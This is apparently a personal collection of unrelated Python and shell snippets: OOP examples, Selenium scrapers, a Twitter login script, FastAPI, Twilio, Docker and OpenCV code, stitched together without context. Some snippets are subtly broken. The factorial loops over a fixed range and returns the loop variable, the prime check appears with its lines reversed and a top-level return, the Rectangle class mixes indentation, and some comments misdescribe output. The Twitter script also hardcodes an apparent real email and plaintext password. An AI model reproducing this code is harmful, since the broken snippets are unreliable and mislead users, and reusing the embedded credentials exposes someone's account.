	def temperature(self):
        """
        Getter method for the `temperature` property.
        If you create an instance of this class and then refer to the
            `temperature` property of that instance then this method will be called.

        Example:
            t = Celsius(37)
            t.temperature  <-- this is where this getter method is called
        """
        print("Getting value...")
        return self._temperature

    @temperature.setter
    def temperature(self, value):
        """
        Setter method for the `temperature` property.
        If you create an instance of this class and then assign a value
            to the `temperature` property of that instance then this method will be called.

        Example:
            t = Celsius(37)  <-- this is where this setter method is called
            t.temperature  
        """
        print("Setting value...")
        if value < -273.15:
            raise ValueError("Temperature below -273 is not possible")
        self._temperature = value


human = Celsius(37)  # Setting value...
print(human.temperature)  # Getting value...
print(human.to_farenheit())  # Setting value...
coldest_thing = Celsius(-300)  # ValueError

class Dates:
    def __init__(self, date):
    	self.date = date

    def get_date(self):
    	return self.date

    @staticmethod
    def format_date_with_dashes(date):
      	# Replace / with -
    	return date.replace("/", "-")


slash_date = "10/20/2024"
# Calling format_date_with_dashes() like any other function, but preceded by it's class name
dash_date = Dates.format_date_with_dashes(slash_date)

print(dash_date)  # 10-20-2024

from datetime import date


# random Person
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    @classmethod
    def from_birth_year(cls, name, birth_year):
    	# Since `cls` refers to the class itself (`Person`), calling this
        #	`classmethod` creates an instance of `Person`.
    	return cls(name, date.today().year - birth_year)

    def display(self):
    	print(f"{self.name}'s age is: {self.age}")


bob = Person("Bob", 25)
bob.display()  # Bob's age is: 25

alice = Person.from_birth_year("Alice", 1985)
alice.display()  # Alice's age is: 39

class Rectangle:
    def __init__(self, length, width):
    	self.length = length
		self.width = width

    def area(self):
    	return self.length * self.width


class Square(Rectangle):
    def __init__(self, length):
        # Call the __init__ method of the parent class (Rectangle)
        # super() refers to the parent class of this class
        # Actually using the __init__ method of `Rectangle` here
        #	which needs 2 parameters, `length` and `width`. Since
        #	a square is length==width then we use `length` twice.
    	super().__init__(length, length)


my_square = Square(5)
my_square.area()  # 25

from abc import ABC, abstractmethod


class Shape(ABC):
# Shape is an abstract base class

    @abstractmethod
    def area(self):
        pass


class Circle(Shape):
# Circle is a class that inherits from the abstract Shape class

    def __init__(self, radius):
    	self.radius = radius
	
    def area(self):
   	# As a child of an Abstract class, this child class MUST define
    #	it's own implementation of this abstractmethod
    	return 3.14 * self.radius ** 2


class Square(Shape):
# Square is a class that inherits from the abstract Shape class

    def __init__(self, side):
    	self.side = side

    def area(self):
    # As a child of an Abstract class, this child class MUST define
    #	it's own implementation of this abstractmethod
    	return self.side ** 2

Test automation code involves creating test cases, handling different locators, interacting with various elements, and implementing assertions to validate expected outcomes. I am sharing a general example using Python with the popular testing framework, Selenium, for web automation.

from selenium import webdriver
from selenium.webdriver.common.by import By

# Set up the WebDriver (assuming Chrome for this example)
driver = webdriver.Chrome(executable_path='path/to/chromedriver.exe')

# Navigate to a website
driver.get('https://www.example.com')

# Find an element using its ID and perform an action (e.g., click)
element = driver.find_element(By.ID, 'example-button')
element.click()

# Perform an assertion to verify the expected result
assert "Example Domain" in driver.title

# Close the browser window
driver.quit()

# Demonstrated Python Program
# to read file character by character
file = open('file.txt', 'r')
 
while 1:
     
    # read by character
    char = file.read(1)          
    if not char: 
        break
         
    print(char)
 
file.close()

d = {}
with open("file.txt") as f:
    for line in f:
       (key, val) = line.split()
       d[int(key)] = val

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import pandas as pd
import time

web = 'https://twitter.com/'
path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
options = webdriver.ChromeOptions()
service = Service(executable_path=path)
options.add_experimental_option("detach", True)
options.add_argument('window-size=1920x1080')

driver = webdriver.Chrome(service=service, options=options)
driver.get(web)  # Open the webpage

# Wait for the login button to be clickable
login_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//a[contains(@href, "/login")]'))
)
login_button.click()
time.sleep(2)

# Wait for the username input field to be visible and then enter username
user_name = WebDriverWait(driver, 10).until(
    EC.visibility_of_element_located((By.XPATH, '//input[contains(@autocomplete, "username")]'))
)
user_name.send_keys("mnis00014@gmail.com")

# Wait for the next button to be clickable and then click
next_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//div[contains(@role, "button")]//span[text()="Next"]'))
)
next_button.click()

time.sleep(2)

# Wait for the password input field to be visible and then enter password
password = WebDriverWait(driver, 10).until(
    EC.visibility_of_element_located((By.XPATH, '//input[contains(@autocomplete, "current-password")]'))
)
password.send_keys("Tw@mnis@2024")

# Wait for the login button to be clickable and then click
login_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, '//div[contains(@role, "button")]//span[text()="Log in"]'))
)
login_button.click()

# closing driver
# driver.quit()

def retry(operation, attempts):
  for n in range(attempts):
    if operation():
      print("Attempt " + str(n) + " succeeded")
      break
    else:
      print("Attempt " + str(n) + " failed")

retry(create_user, 3)
retry(stop_service, 5)

def factorial(n):
    result = 1
    for x in range(0,10):
        result = result * x
    return x

for n in range(0,10):
  print(n, n*factorial(n+1))

# Handle pagination with Selenium
# Scrape Website (www.audible.com)

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import pandas as pd
import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.audible.com/search"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specific website
driver.get(website)

# Wait for some time to ensure the page is loaded
time.sleep(5)

try:
    # Wait for the container to be present
    container = WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.CLASS_NAME, 'adbl-impression-container'))
    )

    # Wait for the products to be present within the container
    products = WebDriverWait(container, 10).until(
        EC.presence_of_all_elements_located((By.XPATH, './/li[contains(@class, "productListItem")]'))
    )

    book_title = []
    author_name = []
    run_time = []
    release_date = []

    for product in products:
        try:
            # Wait for the book title element to be present within each product
            book_title_elem = WebDriverWait(product, 5).until(
                EC.presence_of_element_located((By.XPATH, './/h3[contains(@class, "bc-heading")]'))
            )

            # Append book title
            book_title.append(book_title_elem.text)
            
            # Append author name
            author_name_elem = product.find_element(By.XPATH, './/li[contains(@class, "authorLabel")]')
            author_name.append(author_name_elem.text)

            # Append run time
            run_time_elem = product.find_element(By.XPATH, './/li[contains(@class, "runtimeLabel")]')
            run_time.append(run_time_elem.text)

            # Append release date
            release_date_elem = product.find_element(By.XPATH, './/li[contains(@class, "releaseDateLabel")]')
            release_date.append(release_date_elem.text)

        except TimeoutException:
            print("Timeout occurred while waiting for element within product.")
            # Handle the timeout situation here (e.g., skip this product or log the issue)

    # Create DataFrame and save to CSV
    df = pd.DataFrame({'book_title': book_title,
                       'author_name': author_name,
                       'run_time': run_time,
                       'release_date': release_date})

    df.to_csv('amazon_audible.csv', index=False)
    print(df)

except TimeoutException:
    print("Timeout occurred while waiting for container element.")
    # Handle the timeout situation here (e.g., retry navigating to the page or log the issue)

finally:
    # Quit the driver
    driver.quit()

# Import necessary libraries
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import pandas as pd
from selenium.common.exceptions import NoSuchElementException, TimeoutException

# Set the path to chromedriver.exe
path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()

# Add the --headless option to run Chrome in headless mode (optional)
# options.add_argument("--headless")

# Add the --detach option to keep the browser open after the script finishes
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

try:
    # Wait for the "All matches" button to be clickable
    all_matches_button = WebDriverWait(driver, 10).until(
        EC.element_to_be_clickable((By.XPATH, '//label[@analytics-event="All matches"]'))
    )

    # Click on the "All matches" button
    all_matches_button.click()

    # Wait for the matches to load (adjust the timeout as needed)
    WebDriverWait(driver, 10).until(
        EC.presence_of_all_elements_located((By.TAG_NAME, "tr"))
    )

    # Get all match elements
    matches = driver.find_elements(By.TAG_NAME, "tr")

    date = []
    home_team = []
    score = []
    away_team = []

    # Extract data from each match
    for match in matches:
        date.append(match.find_element("xpath", "./td[1]").text)
        home_team.append(match.find_element("xpath", "./td[2]").text)
        score.append(match.find_element("xpath", "./td[3]").text)
        away_team.append(match.find_element("xpath", "./td[4]").text)

except (NoSuchElementException, TimeoutException) as e:
    print(f"Error: {e}")

finally:
    # Close the WebDriver when you're done
    driver.quit()

# Create a DataFrame from the scraped data
df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})

# Save the DataFrame to a CSV file
df.to_csv('football_data.csv', index=False)

# Print the DataFrame
print(df)

# ---------------------------    Chrome   ---------------------------------

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.by import By
import pandas as pd
import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

dropdown = Select(driver.find_element(By.ID, "country"))
dropdown.select_by_visible_text('Spain')

time.sleep(3)

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
driver.quit()

df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})
df.to_csv('football_data.csv', index=False)
print(df)

# ---------------------------    Chrome   ---------------------------------

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    home = match.find_element("xpath","./td[2]").text
    print(home)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
# driver.quit()

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.by import By
import pandas as pd
import time

path = r"C:\Drivers\chromedriver-win64\chromedriver.exe"
website = "https://www.adamchoi.co.uk/overs/detailed"

# Use the Service class to specify the path to chromedriver.exe
service = Service(executable_path=path)

# Use ChromeOptions for additional configurations
options = webdriver.ChromeOptions()
options.add_experimental_option("detach", True)

# Initialize the WebDriver with the specified service and options
driver = webdriver.Chrome(service=service, options=options)

# Navigate to the specified website
driver.get(website)

all_matches_button = driver.find_element("xpath", '//label[@analytics-event="All matches"]')
all_matches_button.click()

dropdown = Select(driver.find_element(By.ID, "country"))
dropdown.select_by_visible_text('Spain')

time.sleep(3)

matches = driver.find_elements(By.TAG_NAME, "tr")

date = []
home_team = []
score = []
away_team = []

for match in matches:
    date.append(match.find_element("xpath", "./td[1]").text)
    home_team.append(match.find_element("xpath", "./td[2]").text)
    score.append(match.find_element("xpath", "./td[3]").text)
    away_team.append(match.find_element("xpath", "./td[4]").text)

# Close the WebDriver when you're done
driver.quit()

df = pd.DataFrame({'date': date,
                   'home_team': home_team,
                   'score': score,
                   'away_team': away_team})
df.to_csv('football_data.csv', index=False)
print(df)

import fiftyone as fo
from fiftyone.zoo import load_zoo_dataset

def download_vehicle_images():
    # Specify the classes of interest (e.g., vehicles, cars)
    classes_of_interest = ["Car", "Truck", "Motorcycle", "Bus", "Van"]

    # Specify the maximum number of samples you want to download
    max_samples = 100  # You can adjust this number as needed

    # Load the Open Images V7 dataset using FiftyOne
    dataset = load_zoo_dataset(
        "open-images-v7",
        split="validation",
        label_types=["detections", "segmentations", "points"],
        classes=classes_of_interest,
        max_samples=max_samples,
    )

    # Save the downloaded dataset
    dataset.export(export_dir="/path/to/save/vehicle/images")

if __name__ == "__main__":
    # Execute the download function
    download_vehicle_images()

import cProfile

# Use `profile` if `cProfile` isn't available on your OS
# import profile


def adder(x, y):
	return x + y


cProfile.run('adder(10, 20)')

import timeit


def adder(x, y):
	return x + y


t = timeit.Timer(setup='from __main__ import adder', stmt='adder(10, 20)')
t.timeit()

while True:
    try:
        marks = float(input('Enter your marks to calculate your grade: \n'))
    except ValueError:
        print('Invalid input, try again')
        continue
    if marks > 100:
        print('your input must not be greater than 100')
    else:
        break

if 85 <= marks <= 100:
    print('You have grade A')
elif 65 <= marks < 85:
    print('You have grade B')
elif 41 <= marks < 65:
    print('You have grade C')
elif 0 <= marks < 41:
    print('You failed')
else:
    print('Invalid Marks')

How to write a great documentation (in 5 points)

1. Use question and answer look (more like FAQs)
2. Use pointers wherever possible
    a. maximum 5, preferably 3
    b. if goes beyond 5, try making sub-points instead
3. Diagrams wherever possible. a 🖼 is worth a 1000 words
4. Be precise, but accurate. And have  w h i t e  s p a c e s , increases readability.
5. Avoid similar synonyms, generous adjectives, spellnig and grammatical the mistakes
    a. repeat same words already used to refer something
    b. have links to go to something previously explained
    c. Avoid external links, instead provide a brief. Add link only for confidence (reduces distraction)

"""
Exercise 1.10: Evaluate a Gaussian Function
"""

from math import pi, exp, sqrt

m = 0
s = 2
x = 1

y = (1 / (sqrt(2 * pi) * s)*exp((-1/2) * (((x - m)/s) ** 2)))
print(y)

'''
Sample run:
    y = 0.176032663
'''
    

# If the program reached this point, that means the number is prime
return True  

# Loop through all numbers between 2 and n - 1, and check if n is NOT prime
i = 2
while i < n:
    if n % i == 0:
        return False
    i = i + 1

# Deal with special cases
if n == 0 or n == 1:
    return False

from flask import Flask, render_template
from flask.ext.wtf import Form, SubmitField, Field, TextInput

app = Flask(__name__)
app.config['SECRET_KEY'] = 'Shh!'


class CustomField(Field):
    widget = TextInput()
    
    def _value(self):
        if self.data:
            return u', '.join(self.data)
        else:
            return u''

    def process_formdata(self, valuelist):
        if valuelist:
            self.data = [x.strip() for x in valuelist[0].split(',')]
        else:
            self.data = []


class ExampleForm(Form):
    status = CustomField()
    submit = SubmitField('POST')

from sys import path
import os
path.append(os.path.realpath('../'))

# split()
# دالة تقوم بتقسيم السلسلة إلى قائمة من الكلمات باستخدام (المسافات أو أي نص آخر) كفاصل
# Syntax: string.split(sep=None, maxsplit=-1) -> list[LiteralString]
# sep => Separator    NOTE: By default any (whitespace) is a separator
# maxsplit => عايز التقسيم يكون في كام عنصر؟
# maxsplit => لو كتبت مثلا 2 ترجع 3عناصر وهكذا، يعني النتيجة بتكون +1 يعني التقسيم تم في 2 والباقي نزله في عنصر واحد الاخير

## أختها الوحيدة ##########################
# rsplit()  # Right Split
################################################################

txt1 = "welcome to the jungle"
txt2 = "welcome#to#the#jungle"

print("============(split)===================================")
x1 = txt1.split()           
x2 = txt1.split(" ",2)
x3 = txt2.split("#")
print(x1)                   # ['welcome', 'to', 'the', 'jungle']
print(x2)                   # ['welcome', 'to', 'the jungle']
print(x3)                   # ['welcome', 'to', 'the', 'jungle']

print("============(rsplit)===================================")
y1 = txt1.rsplit(None,2)
y2 = txt1.rsplit(" ",2)
print(y1)                    # ['welcome to', 'the', 'jungle']
print(y2)                    # ['welcome to', 'the', 'jungle']

person_info = {
    'Name': 'Ahmed',
    'Age': 25,
    'City': 'Cairo'
}

FROM python:3.9-slim-bullseye

ENV VIRTUAL_ENV=/opt/venv
RUN python3 -m venv $VIRTUAL_ENV
ENV PATH="$VIRTUAL_ENV/bin:$PATH"

# Install dependencies:
COPY requirements.txt .
RUN pip install -r requirements.txt

# Run the application:
COPY myapp.py .
CMD ["python", "myapp.py"]

Page segmentation modes:
  0    Orientation and script detection (OSD) only.
  1    Automatic page segmentation with OSD.
  2    Automatic page segmentation, but no OSD, or OCR.
  3    Fully automatic page segmentation, but no OSD. (Default)
  4    Assume a single column of text of variable sizes.
  5    Assume a single uniform block of vertically aligned text.
  6    Assume a single uniform block of text.
  7    Treat the image as a single text line.
  8    Treat the image as a single word.
  9    Treat the image as a single word in a circle.
 10    Treat the image as a single character.
 11    Sparse text. Find as much text as possible in no particular order.
 12    Sparse text with OSD.
 13    Raw line. Treat the image as a single text line,
                        bypassing hacks that are Tesseract-specific.

from fastapi import FastAPI, HTTPException, Security, status
from fastapi.security import APIKeyHeader


api_keys = [
    "my_api_key"
]

app = FastAPI()

api_key_header = APIKeyHeader(name="X-API-Key")

def get_api_key(api_key_header: str = Security(api_key_header)) -> str:
    if api_key_header in api_keys:
        return api_key_header
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Invalid or missing API Key",
    )

@app.get("/protected")
def protected_route(api_key: str = Security(get_api_key)):
    # Process the request for authenticated users
    return {"message": "Access granted!"}

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)


wget https://blah/blah/stats --header="X-API-Key: key1"

from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import io
import pandas as pd

app = FastAPI()

@app.get("/get_csv")
async def get_csv():
    df = pd.DataFrame(dict(col1 = 1, col2 = 2), index=[0])
    stream = io.StringIO()
    df.to_csv(stream, index = False)
    response = StreamingResponse(iter([stream.getvalue()]),
                                 media_type="text/csv"
                                )
    response.headers["Content-Disposition"] = "attachment; filename=export.csv"
    return response

Alternate command for 1 GPU:

sockeye-train \
    --prepared-data prepared --validation-source dev.en.bpe \
    --validation-target dev.de.bpe --output model --num-layers 6 \
    --transformer-model-size 1024 --transformer-attention-heads 16 \
    --transformer-feed-forward-num-hidden 4096 --amp --batch-type max-word \
    --batch-size 5000 --update-interval 80 --checkpoint-interval 500 \
    --max-updates 15000 --optimizer-betas 0.9:0.98 \
    --initial-learning-rate 0.06325 \
    --learning-rate-scheduler-type inv-sqrt-decay --learning-rate-warmup 4000 \
    --seed 1

# Best min size, in kB.
best_min_size = (32000 + 100000) * (1.073741824 * duration) / (8 * 1024)

# Download the helper library from https://www.twilio.com/docs/python/install
import os
from twilio.rest import Client


# Find your Account SID and Auth Token at twilio.com/console
# and set the environment variables. See http://twil.io/secure
account_sid = os.environ['TWILIO_ACCOUNT_SID']
auth_token = os.environ['TWILIO_AUTH_TOKEN']
client = Client(account_sid, auth_token)

verification = client.verify \
                     .v2 \
                     .services('VAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX') \
                     .verifications \
                     .create(to='+15017122661', channel='sms')

print(verification.sid)

# Download the helper library from https://www.twilio.com/docs/python/install
import os
from twilio.rest import Client


# Find your Account SID and Auth Token at twilio.com/console
# and set the environment variables. See http://twil.io/secure
account_sid = os.environ['TWILIO_ACCOUNT_SID']
auth_token = os.environ['TWILIO_AUTH_TOKEN']
client = Client(account_sid, auth_token)

verification = client.verify \
                     .v2 \
                     .services('VAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX') \
                     .verifications \
                     .create(to='+15017122661', channel='sms')

print(verification.sid)

1. Create File "Dockerfile" in same directory as "docker-compose.yaml"
2. Write 
FROM apache/airflow:2.0.2
RUN pip install --no-cache-dir geopandas another-package
3. Build new image:
docker build . --tag projectname-airflow:2.0.2
4. In "docker-compose.yaml" replace
image: ${AIRFLOW_IMAGE_NAME:-apache/airflow:2.0.2}
with 
image: ${AIRFLOW_IMAGE_NAME:-projectname-airflow:2.0.2}
5. In Shell move to directory an run
docker build . --tag projectname-airflow:2.0.2
6. Epic win

JupyterHub.ensureService({waitForReady:true})

import holidays
from datetime import datetime, timedelta


# Get current date/time
tday = datetime.now()
testday = datetime(2023,12,1,13,13,0)    # for debug only

tday = testday    # for debug only
aims_rec_date = tday.strftime('%Y-%m-%d')
aims_time = tday.strftime('%H:%M:%S')
same_day_despatch_cut_off_time = datetime.strptime(aims_rec_date + " 13:00:00", "%Y-%m-%d %H:%M:%S")
add_days = 0

print(f"*******************************\nReceipt: {aims_rec_date} @ {aims_time}")

# Early enough for same-day despatch?
wk_day = int(tday.strftime('%w'))
if wk_day in range(1,5+1):
    despatch_today = tday < same_day_despatch_cut_off_time
    print(f"Despatch today: {despatch_today}")
    if not despatch_today:
        add_days = 1
else:
    print("Weekend...")

# Set provisional despatch date
aims_despatch_date = (tday + timedelta(days=add_days))

# Only interested in these public holidays
occasions = [
    "New Year's Day",
    "Good Friday",
    "Easter Monday [England/Wales/Northern Ireland]",
    "May Day",
    "Spring Bank Holiday",
    "Late Summer Bank Holiday [England/Wales/Northern Ireland]",
    "Christmas Day",
    "Boxing Day",
]
uk_holidays = holidays.UnitedKingdom()

print(f"UK Holiday: {aims_despatch_date in uk_holidays}")

# Amend provisional despatch date if not working day
while aims_despatch_date in uk_holidays or int(aims_despatch_date.strftime('%w')) in [0,6]:
    print("****skip-a-day****")
    try:    # amend for public holiday
        occasion = uk_holidays[aims_despatch_date]
        if occasion in occasions:
            aims_despatch_date = (aims_despatch_date + timedelta(days=1))
            wk_day = aims_despatch_date.strftime('%w')
        else:
            break
    except Exception as e:    # amend for weekend
        aims_despatch_date = (aims_despatch_date + timedelta(days=1))
        wk_day = aims_despatch_date.strftime('%w')


print(f"Despatch: {aims_despatch_date.strftime('%Y-%m-%d')}\n*******************************\n")

# Assume -9999 is a missing data flag
df.replace(-9999, np.NaN)
# Alternatively, perform this when creating the dataframe:
pd.read_csv("https://www.atmos.albany.edu/products/metarCSV/world_metar_latest.csv", sep='\s+',na_values=['9999.00','-9999.0'])

import xarray as xr
import numpy as np
from xarray.core.duck_array_ops import isnull


array = xr.DataArray([1, np.nan, 3], dims="x")
array

%time np.sum(isnull(array.data), axis=()).sum()

# core/settings.py 

# other settings....

CACHES = {
        "default": {
            "BACKEND": "django_redis.cache.RedisCache",
            "LOCATION": "redis://redis:6379/",
            "OPTIONS": {
                "CLIENT_CLASS": "django_redis.client.DefaultClient"
            },
        }
    }

t = int(input(""))
p = 0
mylist = []
if t >= 0 and t < 101:
    while p<t:
        a = int(input("a "))
        b = int(input("b "))
        c = int(input("c "))
        if a <= 20000 and a >= 1:
            if b <= 20000 and a >=1:
                if c <= 20000 and c >=1:
                    if a+b<=c or a+c<=b or b+c<=a:
                        txt = ("nelze sestrojit")
                    else:
                        if a == b and b == c and c == a:
                            txt = ("rovnostranny")
                        elif a == b or b == c or c == a:
                            txt = ("rovnoramenny")
                        else:
                            txt = ("obecny")
                else:
                    txt = ("moc velké nebo malé číslo")
            else:
                txt = ("moc velké nebo malé číslo")
        else:
            txt = ("moc velké nebo malé číslo")
        p = p+1
        mylist.append(txt)
        print(p)
    print(mylist)
else:
    print("syntax")

def res(vys):
    for x in vys:
        print(x)
try:
    s = int(input("s "))
    p = 0
    lst = []
    if s >=1 and s <=100:
        while p<s:
            z = input("z ")
            if len(z) >= 1 and len(z) <= 50:
                try:
                    num = int(z)
                    kys = type(num) == int
                except:
                    kys = z.isupper()     
                if kys == True:
                    pal = z[::-1]
                    if z == pal:
                        txt = "yes"
                    else:
                        txt = "no"
                else:
                    txt = "syntax"
            else:
                txt = "syntax"
            p = p+1
            lst.append(txt)
            print("")
        res(lst)
    else:
        print("syntax")
except:
    print("syntax")

import cv2
import numpy as np

img = cv2.imread('blackdots.jpg')
gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

ret, thresh = cv2.threshold(gray_img, 170, 255, cv2.THRESH_BINARY) # <--- Try different values here

accum_size = 1
# Minimum distance between the centers of the detected circles.
minDist = 30
#First method-specific parameter. In case of CV_HOUGH_GRADIENT , it is the higher threshold of the two passed to the Canny() edge detector (the lower one is twice smaller).
param1 = 50
# Second method-specific parameter. In case of CV_HOUGH_GRADIENT , it is the accumulator threshold for the circle centers at the detection stage. The smaller it is, the more false circles may be detected. Circles, corresponding to the larger accumulator values, will be returned first.
param2 = 5
#
minRadius = 1
#
maxRadius = 10
circles = cv2.HoughCircles(thresh, cv2.HOUGH_GRADIENT, accum_size, minDist,
                           param1=param1, param2=param2,
                           minRadius=minRadius, maxRadius=maxRadius)
circles = circles.reshape(1,circles.shape[1], circles.shape[2])
if circles is not None:
    circles = np.uint16(np.around(circles))
    for ind, i in enumerate(circles[0, :]):
        center = (i[0], i[1])
        radius = 15
        cv2.circle(img, center, radius, (255, 0, 255), 3)

thresh = cv2.resize(thresh, (1280, 720)) # <---- This is just for easier display
img = cv2.resize(img, (1280, 720)) # <---- This is just for easier display
cv2.imwrite('circles_black_dot.png', img)
cv2.imwrite('threshold_black_dots.png', thresh)

cdo -expr,'var = ((var > 0.005)) ? var : 0.05' infile outfile

# Create a virtual environment
python -m venv env

# Activate virtual environment
source env/bin/activate

print(c3.Pkg.file('meta://esg/src/model/mentionTracking/EsgMentionTrackingMl.MentionTrackingPipeline.py').readString())

ls = [1, 2, 9, 4, 5, 2, 3, 9, 1]
result = max(ls, key=ls.count)

# or
# result = max(set(ls), key=ls.count)

# STEP 1
# import libraries
import fitz
import io
from PIL import Image
  
# STEP 2
# file path you want to extract images from
file = "/content/pdf_file.pdf"
  
# open the file
pdf_file = fitz.open(file)
  
# STEP 3
# iterate over PDF pages
for page_index in range(len(pdf_file)):
    
    # get the page itself
    page = pdf_file[page_index]
    image_list = page.getImageList()
      
    # printing number of images found in this page
    if image_list:
        print(f"[+] Found a total of {len(image_list)} images in page {page_index}")
    else:
        print("[!] No images found on page", page_index)
    for image_index, img in enumerate(page.getImageList(), start=1):
        
        # get the XREF of the image
        xref = img[0]
          
        # extract the image bytes
        base_image = pdf_file.extractImage(xref)
        image_bytes = base_image["image"]
          
        # get the image extension
        image_ext = base_image["ext"]

# extract images from pdf file
import fitz
doc = fitz.open("file.pdf")
for i in range(len(doc)):
    for img in doc.getPageImageList(i):
        xref = img[0]
        pix = fitz.Pixmap(doc, xref)
        if pix.n < 5:       # this is GRAY or RGB
            pix.writePNG("p%s-%s.png" % (i, xref))
        else:               # CMYK: convert to RGB first
            pix1 = fitz.Pixmap(fitz.csRGB, pix)
            pix1.writePNG("p%s-%s.png" % (i, xref))
            pix1 = None
        pix = None

import subprocess as sp
import json
import os
import sys


for year in range(1980,2015):
    print(year)
    cmd=f' mv {year}/pl_*.nc plFiles/'
    #print(cmd)
    sp.run(cmd, shell=True)

#libraries
import datetime as dt
import xarray as xr
import fsspec
import s3fs
from matplotlib import pyplot as plt
import numpy as np
import pandas as pd


#### AWS repository link - https://registry.opendata.aws/mur/

%%time
file_location = 's3://mur-sst/zarr'

ikey = fsspec.get_mapper(file_location, anon=True)

ds_sst = xr.open_zarr(ikey,consolidated=True)

ds_sst

data=ds_sst.sel(lat=slice(10,15),lon=slice(-68,-67))

data.analysed_sst[0,:,:].where(dataMask[0,:,:]==1).plot()


dataMask=ds_sst.mask.sel(lat=slice(10,15),lon=slice(-68,-67))
dataMask

data.analysed_sst[0,:,:].where(dataMask[0,:,:]==1).to_netcdf('testMUR.nc')

sst=xr.open_dataset('testMUR.nc')
sst.analysed_sst.plot()

#!/usr/bin/env python3
"""
License: MIT License
Copyright (c) 2023 Miel Donkers

Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

import re
s = "string. With. Punctuation?"
s = re.sub(r'[^\w\s]','',s)
# \w matches any word character (equivalent to [a-zA-Z0-9_])
